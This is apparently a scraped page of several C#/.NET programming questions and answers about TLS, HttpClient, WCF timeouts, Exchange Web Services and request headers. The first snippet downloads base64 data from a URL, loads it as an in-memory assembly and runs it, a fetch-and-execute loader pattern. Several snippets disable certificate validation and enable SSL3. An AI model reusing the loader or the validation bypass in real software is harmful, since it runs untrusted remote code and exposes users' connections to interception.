I am using AppDomain.CurrentDomain.Load method to load my assembly. My assembly loaded correctly but my app got stuck.
public static void DownloadString(string url)
{
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12);
string address = new WebClient().DownloadString(url);
string s = new WebClient().DownloadString(address);
AppDomain.CurrentDomain.Load(Convert.FromBase64String(s)).EntryPoint.Invoke(null, null);
}
When I remove EntryPoint.Invoke(null, null) my app does not get stuck but my assembly is not loaded correctly.
Related
I'm getting an error when i try to publish my JSON message with SSL(TLS) to kafka topic asynchronously.
var config = new Dictionary<string, string>
{
{ "bootstrap.servers", kafkurl},
{ "ssl.ca.location", certlocation},
{ "security.protocol", "SASL_SSL"},
{ "sasl.mechanism", "GSSAPI"},
{ "sasl.username", ""},
{ "sasl.password", ""}
};
using (var producer = new ProducerBuilder<Null, string>(config).Build())
{
var dr = producer.Produce(topicname, jsonmsg).Result;
Console.WriteLine($"Delivered '{dr.Value}' to: {dr.TopicPartitionOffset}");
}
Here "jsonmsg" is my actual data(JSON format) as string. How to convert this into Message as expected for this method..? Or Do you have any other method option to use here..? I expect to publish my JSON message along with SSL. Please help.
Try to add the magic line:
System.Net.ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12 | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls;
I am migrating my API to .NET Core 2.2 and in my application is calling another wsdl (WCF) service. Upon calling that service, I'm getting an error saying
System.Net.Http.WinHttpException: The operation timed
Is there something wrong with the way i migrated? It is perfectly working in my previous solution running at .net 4.5
Here is the full inner text message.
InnerException: System.Net.Http.HttpRequestException: An error occurred while sending the request.
System.Net.Http.WinHttpException: The operation timed out
at System.Threading.Tasks.RendezvousAwaitable``1.GetResult()
at System.Net.Http.WinHttpHandler.StartRequest(WinHttpRequestState state)
--- End of inner exception stack trace --->
at System.ServiceModel.Channels.ServiceModelHttpMessageHandler.SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
at System.Net.Http.HttpClient.FinishSendAsyncUnbuffered(Task1 sendTask, HttpRequestMessage request, CancellationTokenSource cts, Boolean disposeCts)
at System.ServiceModel.Channels.HttpChannelFactory1.HttpClientRequestChannel.HttpClientChannelAsyncRequest.SendRequestAsync(Message message, TimeoutHelper timeoutHelper)
Does your soap request take longer than 30 seconds? If yes, you need to know that default timeout in .NET Core for soap request is 30 seconds.
It's a little tricky to change to timeout, but someone already figured it how:
static void Main(string[] args)
{
var client = new SimpleServiceClient();
client.OpenAsync().GetAwaiter().GetResult();
client.DelayedResponseAsync(2000).GetAwaiter().GetResult();
var channel = client.InnerChannel;
var httpChannelFactory = client.InnerChannel.GetProperty<IChannelFactory>();
var cacheField = httpChannelFactory.GetType().GetField("_httpClientCache", BindingFlags.NonPublic | BindingFlags.Instance);
var httpClientCache = cacheField.GetValue(httpChannelFactory);
var cacheDictionaryField = httpClientCache.GetType().GetField("_items", BindingFlags.NonPublic | BindingFlags.Instance);
IDictionary cacheDictionary = (IDictionary)cacheDictionaryField.GetValue(httpClientCache);
foreach(var cacheKey in cacheDictionary.Keys)
{
var cacheEntry = cacheDictionary[cacheKey];
var valueField = cacheEntry.GetType().GetField("value", BindingFlags.NonPublic | BindingFlags.Instance);
HttpClient httpClient = (HttpClient)valueField.GetValue(cacheEntry);
FixHttpClient(httpClient);
}
client.DelayedResponseAsync(50000).GetAwaiter().GetResult();
Console.WriteLine("Done");
Console.ReadLine();
}
private static void FixHttpClient(HttpClient httpClient)
{
var handlerField = typeof(HttpMessageInvoker).GetField("_handler", BindingFlags.NonPublic | BindingFlags.Instance);
DelegatingHandler delegatingHandler = (DelegatingHandler)handlerField.GetValue(httpClient); // Should be of type ServiceModelHttpMessageHandler
WinHttpHandler winHttpHandler = (WinHttpHandler)delegatingHandler.InnerHandler;
WinHttpHandler newHandler = new WinHttpHandler();
newHandler.ServerCredentials = winHttpHandler.ServerCredentials;
newHandler.CookieUsePolicy = winHttpHandler.CookieUsePolicy;
newHandler.ClientCertificates.AddRange(winHttpHandler.ClientCertificates);
newHandler.ServerCertificateValidationCallback = winHttpHandler.ServerCertificateValidationCallback;
newHandler.Proxy = winHttpHandler.Proxy;
newHandler.AutomaticDecompression = winHttpHandler.AutomaticDecompression;
newHandler.PreAuthenticate = winHttpHandler.PreAuthenticate;
newHandler.CookieContainer = winHttpHandler.CookieContainer;
// Fix the timeouts
newHandler.ReceiveHeadersTimeout = Timeout.InfiniteTimeSpan;
newHandler.ReceiveDataTimeout = Timeout.InfiniteTimeSpan;
newHandler.SendTimeout = Timeout.InfiniteTimeSpan;
var servicemodelHttpHandlerInnerHandlerField = delegatingHandler.GetType().GetField("_innerHandler", BindingFlags.NonPublic | BindingFlags.Instance);
servicemodelHttpHandlerInnerHandlerField.SetValue(delegatingHandler, newHandler);
var delegatingHandlerInnerHandlerField = typeof(DelegatingHandler).GetField("_innerHandler", BindingFlags.NonPublic | BindingFlags.Instance);
delegatingHandlerInnerHandlerField.SetValue(delegatingHandler, newHandler);
}
So eaily, pass your HttpClient to
Code directly copied from this gist.
I've read at several places (like here, here or here) that it's a bad practice to dispose of the HttpClient directly after a request and it's better to dispose of it after all the request have been made, to allow reuse of the connection.
To try that out, I've created an instance of HttpClient and added to a static field in my class this way:
public class Test
{
private static X509Certificate2 _certificate;
private static HttpClient HttpClient { get; set; }
...
public Test()
{
...
if (HttpClient == null)
{
LoadCertificate();
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls
| SecurityProtocolType.Tls11
| SecurityProtocolType.Tls12
| SecurityProtocolType.Ssl3;
var handler = new WebRequestHandler();
handler.ClientCertificates.Add(_certificate);
HttpClient = new HttpClient(handler, false);
}
}
private void LoadCertificate()
{
using (var store = new X509Store(StoreName.My, CertificateStoreLocation))
{
store.Open(OpenFlags.ReadOnly);
var certificates = store.Certificates.Find(X509FindType.FindBySubjectName, CertificateFriendlyName, true);
if (certificates.Count != 1)
throw new ArgumentException(
$"Cannot find a valid certificate with name {CertificateFriendlyName} in {CertificateStoreLocation}");
_certificate = certificates[0];
store.Close();
}
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
}
}
I'm then using my instance to call a web service through this command:
var result = await HttpClient.PostAsJsonAsync(completeUri, request);
The first time I'm running the code, everything works fine and I get a response correctly, but then, all the following time I get an unauthorized from the server telling me that I didn't use a client certificate.
It's like if for the following calls, the WebRequestHandler wasn't took into consideration.
Your fix should look like this:
handler.PreAuthenticate = true;
Once you establish a connection to a service, you can re-use it to communicate with it using different clients with different auth information. That means, the service needs to know which client sent a request each time, otherwise it could be a security breach - e.g. executing a request under last connected client. It depends on your authentication mechanism, but basically WebRequestHandler sets flag IsAuthenticated after the first request, and stops sending the auth information on next requests. The PreAuthenticate options forces to send the auth info on every request.
I'm trying to fetch free / busy using EWS
Ive installed the latest nuget package Microsoft.Exchange.WebServices
I'm also setting everything I know of to ignore cert. errors:
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3;
The code I'm using to fetch appointments:
//Set up the service with correct credentials.
var service = new ExchangeService(ExchangeVersion.Exchange2007_SP1)
{
Credentials = new WebCredentials(Account, Password, Domain),
TraceEnabled = true,
EnableScpLookup = false
};
service.Url = new Uri(ServiceUrl);
// Create a list of attendees.
var attendees = Contacts.Select(contact => new AttendeeInfo { SmtpAddress = contact.Email, AttendeeType = MeetingAttendeeType.Required }).ToList();
// Specify availability options.
var myOptions = new AvailabilityOptions
{
MeetingDuration = 30,
RequestedFreeBusyView = FreeBusyViewType.DetailedMerged,
DetailedSuggestionsWindow = new TimeWindow(DateTime.Now, DateTime.Now.AddDays(Days))
};
// Return a set of free/busy times.
var freeBusyResults = service.GetUserAvailability(attendees, new TimeWindow(DateTime.Now, DateTime.Now.AddDays(Days)),AvailabilityData.FreeBusyAndSuggestions, myOptions);
This code works for 5 out of 6 exchange servers I have, but one of them gives "The request failed. The request was aborted: Could not create SSL/TLS secure channel." error message.
If I set up fiddler to act as an proxy for the call, and tell fiddler to decrypt, everything works.
I just want to ignore ALL ssl errors and get the data, how do I do that?
The Managed API is just using HTTPWebRequest as the underlying class to do the Request/response. If it works with fiddler mostly likely your problem is environmental/Client related. I would suggest you enable tracing https://blogs.msdn.microsoft.com/dgorti/2005/09/18/using-system-net-tracing/ you should then be able to see what happens at the lower level when it fails.
I was trying to modify a HTTP Header using C#. I tried to manipulate the Request.Headers on Page preinit event. But when i try to set anything to the Headers, i get PlatformNotSupportedException. Since We can not set a new NameValueCollection to Reqeust.Headers, I tried to set the value using following code:
Request.Headers.Set(HttpRequestHeader.UserAgent.ToString(), "some value");
Any idea how can this be achieved?
Try this:
HttpContext.Current.Request.Headers["User-Agent"] = "Some Value";
EDIT:
This could be your reason:
http://bigjimindc.blogspot.com/2007/07/ms-kb928365-aspnet-requestheadersadd.html
There is a code snippet in that, which adds a new header to the Request.Headers. Verified on Windows 7 32 bit OS too.
But you might want to replace the line:
HttpApplication objApp = (HttpApplication)r_objSender;
with:
HttpApplication objApp = (HttpApplication)HttpContext.Current.ApplicationInstance;
EDIT:
To replace the existing Header value, use:
t.InvokeMember("BaseSet", BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Instance, null, headers, new object[] { "Host", item });
where "Host" is a Header name.
Adding the complete (working) code from the linked blog - incase that blog vanishes
HttpApplication objApp = (HttpApplication)HttpContext.Current.ApplicationInstance;
HttpRequest Request = (HttpContext)objApp.Context.Request;
//get a reference
NameValueCollection headers = Request.Headers;
//get a type
Type t = headers.GetType();
System.Collections.ArrayList item = new System.Collections.ArrayList();
t.InvokeMember("MakeReadWrite",BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Instance,null,headers,null);
t.InvokeMember("InvalidateCachedArrays",BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Instance,null,headers,null);
item.Add("CUSTOM_HEADER_VALUE");
t.InvokeMember("BaseAdd",BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Instance,null,headers, new object[]{"CUSTOM_HEADER_NAME",item});
t.InvokeMember("MakeReadOnly",BindingFlags.InvokeMethod | BindingFlags.NonPublic | BindingFlags.Instance,null,headers,null);